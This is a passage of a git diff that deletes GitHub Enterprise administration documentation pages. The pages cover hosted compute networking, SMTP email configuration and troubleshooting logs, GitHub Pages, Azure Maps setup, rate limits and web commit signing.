{% octicon "pencil" aria-label="Edit a network configuration" %}. Then click **Edit configuration**. -1. To disable a network configuration, to the right of the network configuration, click {% octicon "kebab-horizontal" aria-label="Menu" %}. Then click **Disable**. -1. To delete a network configuration, to the right of the network configuration, click {% octicon "kebab-horizontal" aria-label="Menu" %}. Then click **Delete**. - -## Enabling creation of network configurations for organizations - -You can allow organization owners in an enterprise to create their own organization-level network configurations. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -1. Click **Hosted compute networking**. -1. Under "Hosted compute networking," click **Enable**. -1. Click **Save**. - -## Deleting a subnet - -{% data reusables.actions.azure-vnet-deleting-a-subnet %} diff --git a/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/index.md b/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/index.md deleted file mode 100644 index b3a5abe3f334..000000000000 --- a/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Configuring private networking for hosted compute products -shortTitle: Hosted compute networking -intro: 'You can configure private networking for {% data variables.product.company_short %}-hosted products with network configurations' -versions: - ghec: '*' -topics: - - Enterprise - - Networking - - Actions -children: - - /about-networking-for-hosted-compute-products-in-your-enterprise - - /about-azure-private-networking-for-github-hosted-runners-in-your-enterprise - - /configuring-private-networking-for-github-hosted-runners-in-your-enterprise - - /troubleshooting-azure-private-network-configurations-for-github-hosted-runners-in-your-enterprise -redirect_from: - - /admin/configuration/configuring-private-networking-for-hosted-compute-products ---- - diff --git a/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/troubleshooting-azure-private-network-configurations-for-github-hosted-runners-in-your-enterprise.md b/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/troubleshooting-azure-private-network-configurations-for-github-hosted-runners-in-your-enterprise.md deleted file mode 100644 index 52b577d86fc7..000000000000 --- a/content/admin/configuring-settings/configuring-private-networking-for-hosted-compute-products/troubleshooting-azure-private-network-configurations-for-github-hosted-runners-in-your-enterprise.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Troubleshooting Azure private network configurations for GitHub-hosted runners in your enterprise -shortTitle: Troubleshooting Azure private networking -intro: 'Learn how to fix common issues while creating Azure private network configurations to use {% data variables.product.company_short %}-hosted runners with an Azure VNET.' -versions: - ghec: '*' -type: how_to -permissions: Enterprise owners can configure private networking for GitHub-hosted runners at the enterprise level. -topics: - - Actions - - Action development - - Azure Virtual Network - - Administrator - - Developer - - CI - - CD - - Enterprise - - Troubleshooting -redirect_from: - - /admin/configuration/configuring-private-networking-for-hosted-compute-products/troubleshooting-azure-private-network-configurations-for-github-hosted-runners-in-your-enterprise ---- - -## Troubleshooting configuring private networking for {% data variables.product.company_short %}-hosted runners in your enterprise - -{% data reusables.actions.azure-vnet-hosted-compute-troubleshooting %} diff --git a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-applications.md b/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-applications.md deleted file mode 100644 index e7e6d3a45092..000000000000 --- a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-applications.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Configuring applications -intro: 'You can configure internal application settings for {% data variables.location.product_location %}.' -redirect_from: - - /enterprise/admin/installation/configuring-applications - - /enterprise/admin/configuration/configuring-applications - - /admin/configuration/configuring-applications - - /admin/configuration/configuring-your-enterprise/configuring-applications - - /admin/configuration/configuring-user-applications-for-your-enterprise/configuring-applications -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals ---- -## Adjusting image caching - -You can choose the amount of time that {% data variables.location.product_location %} caches avatars. When you increase the cache time, you increase the amount of time a user's avatar will take to load. Configuring the cache time with too low a value can overload {% data variables.location.product_location %} work processes. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. In the "Settings" sidebar, click **Applications**. -1. Under "Avatar image cache time (seconds)", type the number of seconds that you would like {% data variables.location.product_location %} to cache avatar images. -{% data reusables.enterprise_management_console.save-settings %} - -## Enabling retention policy for checks - -You can enable a retention policy for checks, actions, and associated data by setting thresholds for archival and deletion. For more information about configuring actions, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises). - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. In the "Settings" sidebar, click **Checks**. -1. Select **Enable archiving of Checks-related data**. -1. Under "Archive threshold (days)", type the number of days for the archival threshold. Checks older than this number of days will be archived before being permanently deleted. -1. Under "Delete threshold (days)", type the number of days for the deletion threshold. An archived check exists in an archived state for the number of days specified here. After this threshold, the check will be permanently deleted. -{% data reusables.enterprise_management_console.save-settings %} - -{% ifversion ghes < 3.13 %} - -## Enabling interactive maps - -You can enable the display of interactive maps in the web interface for users of {% data variables.location.product_location %}. For more information, see [AUTOTITLE](/admin/configuration/configuring-user-applications-for-your-enterprise/configuring-interactive-maps). - -{% endif %} diff --git a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-email-for-notifications.md b/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-email-for-notifications.md deleted file mode 100644 index 9396801fd325..000000000000 --- a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-email-for-notifications.md +++ /dev/null @@ -1,157 +0,0 @@ ---- -title: Configuring email for notifications -intro: 'To make it easy for users to respond quickly to activity, you can configure {% data variables.location.product_location %} to send email notifications for issue, pull request, and commit comments.' -redirect_from: - - /enterprise/admin/guides/installation/email-configuration - - /enterprise/admin/articles/configuring-email - - /enterprise/admin/articles/troubleshooting-email - - /enterprise/admin/articles/email-configuration-and-troubleshooting - - /enterprise/admin/user-management/configuring-email-for-notifications - - /admin/configuration/configuring-email-for-notifications - - /admin/configuration/configuring-your-enterprise/configuring-email-for-notifications - - /admin/configuration/configuring-user-applications-for-your-enterprise/configuring-email-for-notifications -permissions: Site administrators can configure email for notifications. -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Fundamentals - - Infrastructure - - Notifications -shortTitle: Configure email notifications ---- - -## Configuring SMTP for your enterprise - -{% data reusables.enterprise_site_admin_settings.email-settings %} -1. Select **Enable email**. This will enable both outbound and inbound email. However, for inbound email to work you will also need to configure your DNS settings as described below in [Configuring DNS and firewall -settings to allow incoming emails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails). -1. Type the settings for your SMTP server. - * In the **Server address** field, type the address of your SMTP server. - * In the **Port** field, type the port that your SMTP server uses to send email. - * In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any. - * Select the **Authentication** dropdown, and choose the type of encryption used by your SMTP server. - * In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails. -1. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**. -1. Under **Support**, select a type of link to offer additional support to your users. - * **Email:** An internal email address. - * **URL:** A link to an internal support site. You must include either `http://` or `https://`. -1. [Test email delivery](#testing-email-delivery). - -## Testing email delivery - -1. At the top of the **Email** section, click **Test email settings**. -1. Under "Send test email to," type an address to send the test email to. -1. Click **Send test email**. - - > [!TIP] - > If SMTP errors occur while sending a test email—such as an immediate delivery failure or an outgoing mail configuration error—you will see them in the Test email settings dialog box. - -1. If the test email fails, [troubleshoot your email settings](#troubleshooting-email-delivery). -1. When the test email succeeds, under the "Settings" sidebar, click **Save settings**. -{% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %} - -## Enforcing TLS for SMTP connections - -You can enforce TLS encryption for all incoming SMTP connections, which can help satisfy an ISO-27017 certification requirement. - -{% data reusables.enterprise_site_admin_settings.email-settings %} -1. Under "Authentication", select **Enforce TLS auth (recommended)**. - - ![Screenshot of the "Email" section of the Management Console. A checkbox, labeled "Enforce TLS auth (recommended)", is outlined in dark orange.](/assets/images/enterprise/configuration/enforce-tls-for-smtp-checkbox.png) -{% data reusables.enterprise_management_console.save-settings %} - -## Configuring DNS and firewall settings to allow incoming emails - -If you want to allow email replies to notifications, you must configure your DNS settings. - -1. Ensure that port 25 on the instance is accessible to your SMTP server. -1. Create an A record that points to `reply.[hostname]`. Depending on your DNS provider and instance host configuration, you may be able to instead create a single A record that points to `*.[hostname]`. -1. Create an MX record that points to `reply.[hostname]` so that emails to that domain are routed to the instance. -1. Create an MX record that points `noreply.[hostname]` to `[hostname]` so that replies to the `cc` address in notification emails are routed to the instance. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications). - -## Troubleshooting email delivery - -### Create a support bundle - -If you cannot determine what is wrong from the displayed error message, you can download a [support bundle](/support/contacting-github-support/providing-data-to-github-support) containing the entire SMTP conversation between your mail server and {% data variables.product.prodname_ghe_server %}. Once you've downloaded and extracted the bundle, check the entries in `enterprise-manage-logs/unicorn.log` for the entire SMTP conversation log and any related errors. - -The unicorn log should show a transaction similar to the following: - -```shell -This is a test email generated from https://10.0.0.68/setup/settings -Connection opened: smtp.yourdomain.com:587 --> "220 smtp.yourdomain.com ESMTP nt3sm2942435pbc.14\r\n" -<- "EHLO yourdomain.com\r\n" --> "250-smtp.yourdomain.com at your service, [1.2.3.4]\r\n" --> "250-SIZE 35882577\r\n" --> "250-8BITMIME\r\n" --> "250-STARTTLS\r\n" --> "250-ENHANCEDSTATUSCODES\r\n" --> "250 PIPELINING\r\n" -<- "STARTTLS\r\n" --> "220 2.0.0 Ready to start TLS\r\n" -TLS connection started -<- "EHLO yourdomain.com\r\n" --> "250-smtp.yourdomain.com at your service, [1.2.3.4]\r\n" --> "250-SIZE 35882577\r\n" --> "250-8BITMIME\r\n" --> "250-AUTH LOGIN PLAIN XOAUTH\r\n" --> "250-ENHANCEDSTATUSCODES\r\n" --> "250 PIPELINING\r\n" -<- "AUTH LOGIN\r\n" --> "334 VXNlcm5hbWU6\r\n" -<- "dGhpc2lzbXlAYWRkcmVzcy5jb20=\r\n" --> "334 UGFzc3dvcmQ6\r\n" -<- "aXRyZWFsbHl3YXM=\r\n" --> "535-5.7.1 Username and Password not accepted. Learn more at\r\n" --> "535 5.7.1 http://support.yourdomain.com/smtp/auth-not-accepted nt3sm2942435pbc.14\r\n" -``` - -This log shows that the appliance: - -* Opened a connection with the SMTP server (`Connection opened: smtp.yourdomain.com:587`). -* Successfully made a connection and chose to use TLS (`TLS connection started`). -* The `login` authentication type was performed (`<- "AUTH LOGIN\r\n"`). -* The SMTP Server rejected the authentication as invalid (`-> "535-5.7.1 Username and Password not accepted.`). - -### Check {% data variables.location.product_location %} logs - -If you need to verify that your inbound email is functioning, you can review `/var/log/mail.log` and `/var/log/mail-replies/metroplex.log` on your instance. - -`/var/log/mail.log` verifies that messages are reaching your server. Here's an example of a successful email reply: - -```text -Oct 30 00:47:18 54-171-144-1 postfix/smtpd[13210]: connect from st11p06mm-asmtp002.mac.com[17.172.124.250] -Oct 30 00:47:19 54-171-144-1 postfix/smtpd[13210]: 51DC9163323: client=st11p06mm-asmtp002.mac.com[17.172.124.250] -Oct 30 00:47:19 54-171-144-1 postfix/cleanup[13216]: 51DC9163323: message-id=<b2b9c260-4aaa-4a93-acbb-0b2ddda68579@me.com> -Oct 30 00:47:19 54-171-144-1 postfix/qmgr[17250]: 51DC9163323: from=<tcook@icloud.com>, size=5048, nrcpt=1 (queue active) -Oct 30 00:47:19 54-171-144-1 postfix/virtual[13217]: 51DC9163323: to=<reply+i-1-1801beb4df676a79250d1e61e54ab763822c207d-5@reply.ghe.tjl2.co.ie>, relay=virtual, delay=0.12, delays=0.11/0/0/0, dsn=2.0.0, status=sent (delivered to maildir) -Oct 30 00:47:19 54-171-144-1 postfix/qmgr[17250]: 51DC9163323: removed -Oct 30 00:47:19 54-171-144-1 postfix/smtpd[13210]: disconnect from st11p06mm-asmtp002.mac.com[17.172.124.250] -``` - -Note that the client first connects; then, the queue becomes active. Then, the message is delivered, the client is removed from the queue, and the session disconnects. - -`/var/log/mail-replies/metroplex.log` shows whether inbound emails are being processed to add to issues and pull requests as replies. Here's an example of a successful message: - -```text -[2014-10-30T00:47:23.306 INFO (5284) #] metroplex: processing <b2b9c260-4aaa-4a93-acbb-0b2ddda68579@me.com> -[2014-10-30T00:47:23.333 DEBUG (5284) #] Matched /data/user/mail/reply/new/1414630039.Vfc00I12000eM445784.ghe-tjl2-co-ie -[2014-10-30T00:47:23.334 DEBUG (5284) #] Moving /data/user/mail/reply/new/1414630039.Vfc00I12000eM445784.ghe-tjl2-co-ie => /data/user/incoming-mail/success -``` - -You'll notice that `metroplex` catches the inbound message, processes it, then moves the file over to `/data/user/incoming-mail/success`. - -### Verify your DNS settings - -In order to properly process inbound emails, you must configure a valid A Record (or CNAME), as well as an MX Record. For more information, see [Configuring DNS and firewall settings to allow incoming emails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails). - -### Check firewall or AWS security group settings - -If {% data variables.location.product_location %} is behind a firewall or is being served through an AWS security group, make sure port 25 is open to all mail servers that send emails to `reply@reply.[hostname]`. - -### Contact support - -If you're still unable to resolve the problem, contact us by visiting {% data variables.contact.contact_ent_support %}. Please attach the output file from `http(s)://[hostname]/setup/diagnostics` to your email to help us troubleshoot your problem. diff --git a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-github-pages-for-your-enterprise.md b/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-github-pages-for-your-enterprise.md deleted file mode 100644 index 57cf18ffdf6c..000000000000 --- a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-github-pages-for-your-enterprise.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Configuring GitHub Pages for your enterprise -intro: 'You can enable or disable {% data variables.product.prodname_pages %} for your enterprise{% ifversion ghes %} and choose whether to make sites publicly accessible{% endif %}.' -redirect_from: - - /enterprise/admin/guides/installation/disabling-github-enterprise-pages - - /enterprise/admin/guides/installation/configuring-github-enterprise-pages - - /enterprise/admin/installation/configuring-github-pages-on-your-appliance - - /enterprise/admin/configuration/configuring-github-pages-on-your-appliance - - /admin/configuration/configuring-github-pages-on-your-appliance - - /enterprise/admin/guides/installation/configuring-github-pages-for-your-enterprise - - /admin/configuration/configuring-github-pages-for-your-enterprise - - /admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise - - /admin/configuration/configuring-user-applications-for-your-enterprise/configuring-github-pages-for-your-enterprise -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Pages -shortTitle: Configure GitHub Pages ---- - -## Enabling public sites for {% data variables.product.prodname_pages %} - -If private mode is enabled on your enterprise, the public cannot access {% data variables.product.prodname_pages %} sites hosted by your enterprise unless you enable public sites. - -> [!WARNING] -> If you enable public sites for {% data variables.product.prodname_pages %}, every site in every repository on your enterprise will be accessible to the public. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.pages-tab %} -1. Select **Public Pages**. -{% data reusables.enterprise_management_console.save-settings %} - -## Disabling {% data variables.product.prodname_pages %} for your enterprise - -If subdomain isolation is disabled for your enterprise, you should also disable {% data variables.product.prodname_pages %} to protect yourself from potential security vulnerabilities. For more information, see [AUTOTITLE](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation). - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.pages-tab %} -1. Deselect **Enable Pages**. -{% data reusables.enterprise_management_console.save-settings %} - -## Configuring {% data variables.product.prodname_pages %} response headers for your enterprise - -You can add or override response headers for {% data variables.product.prodname_pages %} sites hosted by {% data variables.location.product_location %}. - -> [!WARNING] -> Ensure that your response headers are properly configured before saving. Improper configurations may negatively impact the security of {% data variables.location.product_location %}. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.pages-tab %} -1. Under "Http Header Name," type the header name. The length of header name should less than 128 characters. -1. Under "Http Header Value," type the header value. The length of header value should less than 300 characters. -1. Click **Add headers**. -{% data reusables.enterprise_management_console.save-settings %} - -## Further reading - -* [AUTOTITLE](/admin/configuration/configuring-your-enterprise/enabling-private-mode) diff --git a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-interactive-maps.md b/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-interactive-maps.md deleted file mode 100644 index af84f4e0ad28..000000000000 --- a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-interactive-maps.md +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Configuring interactive maps -intro: 'You can enable the display of interactive maps in the web interface for {% data variables.location.product_location %}.' -shortTitle: Configure interactive maps -permissions: 'People with access to the {% data variables.enterprise.management_console %} can configure interactive maps.' -versions: - ghes: '*' -type: how_to -topics: - - Enterprise -redirect_from: - - /admin/configuration/configuring-user-applications-for-your-enterprise/configuring-interactive-maps ---- - -## About interactive maps - -You can allow users of {% data variables.location.product_location %} to create interactive maps using GeoJSON or TopoJSON syntax. For more information about creation of interactive maps, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams#creating-geojson-and-topojson-maps). - -To enable interactive maps, you must provide authentication credentials for Azure Maps. - -{% ifversion ghes < 3.13 %} - -> [!WARNING] -> Authentication with Azure Maps using an API token is {% data variables.release-phases.retired %} in {% data variables.product.prodname_ghe_server %} 3.12 and later. If you upgrade to the latest release of {% data variables.product.prodname_ghe_server %} on an instance already configured to authenticate with an API token, interactive maps will be disabled. You must reconfigure authentication using role-based access control (RBAC) for an application on a Microsoft Entra ID (previously known as Azure AD) tenant. {% data reusables.enterprise.azure-maps-auth-deprecation-link %} - -{% endif %} - -## Prerequisites - -* To configure interactive maps for your instance, you must have administrative access to a tenant in Microsoft Entra ID. For more information, contact the administrator for Microsoft resources at your company, or see [Quickstart: Create a new tenant in Microsoft Entra ID](https://learn.microsoft.com/entra/fundamentals/create-new-tenant) on Microsoft Learn. - -* You must know the tenant ID for your tenant in Entra ID. For more information, see [Get subscription and tenant IDs in the Azure portal](https://learn.microsoft.com/en-us/azure/azure-portal/get-subscription-tenant-id#find-your-microsoft-entra-tenant) on Microsoft Learn. - -* Your instance must be able to access https://login.microsoftonline.com. - -## Generating credentials for Azure Maps - -To generate credentials for Azure Maps, you must create an application for your tenant in Entra ID, provide the application access to an Azure Maps account, and configure role-based access control (RBAC). - -1. Register a new application on your Entra ID tenant. For more information, see [Quickstart: Register an application with the Microsoft identity platform](https://learn.microsoft.com/entra/identity-platform/quickstart-register-app#register-an-application) on Microsoft Learn. - - * When you specify supported account types, select **Accounts in this organizational directory only**. -1. Add a client secret. For more information, see [Quickstart: Register an application with the Microsoft identity platform](https://learn.microsoft.com/entra/identity-platform/quickstart-register-app#add-a-client-secret) on Microsoft Learn. -1. Store the value of the secret in a secure location that you can reference when you configure authentication on {% data variables.location.product_location %}. Entra will never display the value after you leave the page. -1. Configure access to the secret by Azure Maps. - - 1. While viewing the details for the application you configured on your Entra ID tenant, in the left-hand sidebar, click **API permissions**. - 1. Click **Add a permission**. - 1. Click **Azure Maps**. - 1. Select **Delegated permissions**. - 1. Under "Select permissions", select "`user_impersonation`". - 1. To save the permissions, click **Add permissions**. -1. Sign into an Azure Maps account. If you don't have an account, you can create one. For more information, see the [Azure Maps Account](https://www.microsoft.com/maps) website. -1. Configure RBAC for Azure Maps. For more information, see [Authentication with Azure Maps](https://learn.microsoft.com/azure/azure-maps/azure-maps-authentication#authorization-with-role-based-access-control) and [Assign Azure roles using the Azure portal](https://learn.microsoft.com/azure/role-based-access-control/role-assignments-portal) on Microsoft Learn. - - * On your Entra ID tenant, from **Access control (IAM)**, you must assign the role of "Azure Maps Data Reader" to "User, group, or service principal", select the application you created earlier in these instructions, and complete the form. - -## Enabling interactive maps - -After you create an application on your Entra ID tenant and generate a secret for the use of Azure Maps, you can configure interactive maps on {% data variables.location.product_location %}. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -1. To enable interactive maps, select "Enable GeoJSON rendering". -1. Generate a 32-character string to use as a secret to prevent cross-site request forgery (CSRF). For example, you can access the administrative shell and use `openssl` on {% data variables.location.product_location %} to generate a string. For more information, see [AUTOTITLE](/admin/administering-your-instance/administering-your-instance-from-the-command-line/accessing-the-administrative-shell-ssh). - - ```shell copy - openssl rand -hex 32 - ``` - - Store the string in a secure location that you can reference in the next step. -1. Below the headings, type or paste your authentication details for Azure Maps. - - * If your instance runs {% data variables.product.prodname_ghe_server %} {{ allVersions[currentVersion].currentRelease }}, below "Azure Maps API Token", type or paste your token. - * If your instance runs {% data variables.product.prodname_ghe_server %} {{ allVersions[currentVersion].currentRelease }} or later, below the headings, type or paste the following information. - - * Optionally, to change the style of rendered maps, under "Basemap ID", type the ID for the style you'd like to use. - * Under the headings, type or paste your authentication details. - - | Value | Description | More information | - | :- | :- | :- | - | Azure Map Client ID | Client ID for your Azure Maps account | [Manage authentication in Azure Maps](https://learn.microsoft.com/azure/azure-maps/how-to-manage-authentication#view-authentication-details) on Microsoft Learn | - | Azure App Client ID | Application (client) ID for the application you created on your Entra ID tenant | [Create a Microsoft Entra application and service principal that can access resources](https://learn.microsoft.com/entra/identity-platform/howto-create-service-principal-portal#sign-in-to-the-application) on Microsoft Learn | - | Azure Tenant ID | ID for your tenant on Entra ID | [Prerequisites](#prerequisites) | - | Azure App Client Secret | Client secret that you generated for the application on your Entra ID tenant | [Generating credentials for Azure Maps](#generating-credentials-for-azure-maps) - | CSRF Secret | 32-character string to prevent CSRF attacks | See previous step. | -{% data reusables.enterprise_management_console.save-settings %} - -## Disabling interactive maps - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.privacy %} -1. To disable interactive maps, deselect "Enable GeoJSON rendering". -{% data reusables.enterprise_management_console.save-settings %} diff --git a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-rate-limits.md b/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-rate-limits.md deleted file mode 100644 index 8345a2818043..000000000000 --- a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-rate-limits.md +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Configuring rate limits -intro: 'You can set rate limits for {% data variables.product.prodname_ghe_server %} using the {% data variables.enterprise.management_console %}.' -permissions: 'Site administrators can configure rate limits for a {% data variables.product.prodname_ghe_server %} instance.' -redirect_from: - - /enterprise/admin/installation/configuring-rate-limits - - /enterprise/admin/configuration/configuring-rate-limits - - /admin/configuration/configuring-rate-limits - - /admin/configuration/configuring-your-enterprise/configuring-rate-limits - - /admin/configuration/configuring-user-applications-for-your-enterprise/configuring-rate-limits -versions: - ghes: '*' -type: how_to -topics: - - Enterprise - - Infrastructure - - Performance ---- - -## About rate limits for {% data variables.product.prodname_ghe_server %} - -To prevent excessive use of resources on {% data variables.location.product_location %} that could affect the instance's availability or performance for all users, you can configure rate limits. Rate limits are configurable for the {% data variables.product.prodname_enterprise_api %} and {% data variables.product.prodname_actions %}. - -Implement rate limits carefully and communicate frequently with your users as you tune the limits. To avoid interrupting your users' work, {% data variables.product.company_short %} recommends that you start with permissive rate limits, and gradually tune the limits to suit your environment. - -You can also configure rate limits for authentication attempts to the {% data variables.enterprise.management_console %}. For more information, see [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console/managing-access-to-the-management-console#configuring-rate-limits-for-authentication-to-the-management-console). - -## Enabling rate limits for the {% data variables.product.prodname_enterprise_api %} - -Excessive numbers of requests to the {% data variables.product.prodname_enterprise_api %} can affect the availability and performance of your instance. For more information about how rate limits for the API affect your users, see [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api). - -You can exempt a list of users from API rate limits using the `ghe-config` utility in the administrative shell. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-config). - -> [!NOTE] -> The {% data variables.enterprise.management_console %} lists the time period (per minute or per hour) for each rate limit. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. Under "Rate Limiting", select **Enable HTTP API Rate Limiting**. -1. Type limits for authenticated and unauthenticated requests for each API, or accept the pre-filled default limits. -{% data reusables.enterprise_management_console.save-settings %} - -## Enabling secondary rate limits - -Setting secondary rate limits protects the overall level of service on {% data variables.location.product_location %}. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. Under "Rate Limiting", select **Enable Secondary Rate Limiting**. -1. Type limits for Total Requests, CPU Limit, and CPU Limit for Searching, or accept the pre-filled default limits. -{% data reusables.enterprise_management_console.save-settings %} - -## Enabling rate limits for Git - -If a member of {% data variables.product.company_short %}'s staff has recommended it, you can apply Git rate limits per repository network or per user ID. Git rate limits are expressed in concurrent operations per minute, and are adaptive based on the current CPU load. - -> [!WARNING] -> We encourage you to leave this setting disabled unless directly recommended by a member of {% data variables.product.company_short %}'s staff. Git operations are rarely the leading driver of CPU and RAM usage. Enabling this feature can make Git operations more likely to fail under high load conditions but does not address the underlying cause of those conditions. - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -1. Under "Rate Limiting", select **Enable Git Rate Limiting**. -1. Under "Repository Network Limit", type a limit for each repository network. -1. Under "User ID Limit", type a limit for each user ID. -{% data reusables.enterprise_management_console.save-settings %} - -## Configuring rate limits for {% data variables.product.prodname_actions %} - -You can apply a rate limit to {% data variables.product.prodname_actions %} workflow runs. For more information about {% data variables.product.prodname_actions %}, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises). - -### About rate limits for {% data variables.product.prodname_actions %} - -Your {% data variables.product.prodname_ghe_server %} instance assigns each {% data variables.product.prodname_actions %} workflow job to a runner. If your instance cannot immediately assign a job to an available runner, the job will wait in a queue until a runner is available. If {% data variables.product.prodname_actions %} experiences sustained high load, the queue can back up, and the performance of {% data variables.location.product_location %} may degrade. - -To avoid this performance degradation, you can configure a rate limit for {% data variables.product.prodname_actions %}. This rate limit is expressed in job runs per minute. {% data variables.product.prodname_ghe_server %} calculates and applies the rate limit for the sum total of all job runs on the instance. If runs exceed the rate limit, additional runs will fail instead of entering the queue. The following error will appear in the run's annotations. - -> You've exceeded the rate limit for workflow run requests. Please wait before retrying the run. - -An appropriate rate limit protects {% data variables.location.product_location %} from abnormal usage of {% data variables.product.prodname_actions %} without interfering with day-to-day operations. The exact threshold depends on your instance's available resources and overall load profile. For more information about the hardware requirements for {% data variables.product.prodname_actions %}, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-requirements). - -By default, the rate limit for {% data variables.product.prodname_actions %} is disabled. Because {% data variables.product.prodname_ghe_server %} can handle temporary spikes in usage without performance degradation, this rate limit is intended to protect against sustained high load. We recommend leaving the rate limit disabled unless you are experiencing performance problems. In some cases, {% data variables.contact.github_support %} may recommend that you enable a rate limit for {% data variables.product.prodname_actions %}. - -### Enabling or disabling rate limits for {% data variables.product.prodname_actions %} - -{% data reusables.enterprise_installation.ssh-into-instance %} -1. To enable and configure the rate limit, run the following two commands, replacing **RUNS-PER-MINUTE** with the value of your choice. - - ```shell - ghe-config actions-rate-limiting.enabled true - ghe-config actions-rate-limiting.queue-runs-per-minute RUNS-PER-MINUTE - ``` - -1. To disable the rate limit after it's been enabled, run the following command. - - ```shell - ghe-config actions-rate-limiting.enabled false - ``` - -1. To apply the configuration, run the following command. - - ```shell - ghe-config-apply - ``` - -1. Wait for the configuration run to complete. diff --git a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-web-commit-signing.md b/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-web-commit-signing.md deleted file mode 100644 index 5b9767667278..000000000000 --- a/content/admin/configuring-settings/configuring-user-applications-for-your-enterprise/configuring-web-commit-signing.md +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Configuring web commit signing -shortTitle: Configure web commit signing -intro: 'You can enable auto-signing of commits made in the web interface of {% data variables.product.prodname_ghe_server %}.' -versions: - ghes: '*' -type: how_to -topics: - - Access management - - Enterprise - - Fundamentals - - Identity - - Security -permissions: 'Site administrators' -redirect_from: - - /admin/configuration/configuring-your-enterprise/configuring-web-commit-signing - - /admin/configuration/configuring-user-applications-for-your-enterprise/configuring-web-commit-signing ---- - -## About web commit signing - -If you enable web commit signing, {% data variables.product.prodname_ghe_server %} will automatically use GPG to sign commits users make on the web interface of {% data variables.location.product_location %}. Commits signed by {% data variables.product.prodname_ghe_server %} will have a verified status. For more information, see [AUTOTITLE](/authentication/managing-commit-signature-verification/about-commit-signature-verification). - -You can enable web commit signing, rotate the private key used for web commit signing, and disable web commit signing. - -## Enabling web commit signing - -{% data reusables.enterprise_site_admin_settings.create-pgp-key-web-commit-signing %} - * Use `web-flow` as the username. If `web-flow` is unavailable or unusable, use any new unique username. Use this username throughout the following steps in this article. - * If you have a no-reply email address defined in the {% data variables.enterprise.management_console %}, use that email address. If not, use any email address, such as `web-flow@my-company.com`. The email address does not need to be valid. - {% data reusables.enterprise_site_admin_settings.pgp-key-no-passphrase %} -{% data reusables.enterprise_site_admin_settings.pgp-key-env-variable %} -{% data reusables.enterprise_site_admin_settings.update-commit-signing-service %} -1. Enable web commit signing. - - ```bash copy - ghe-config app.github.web-commit-signing-enabled true 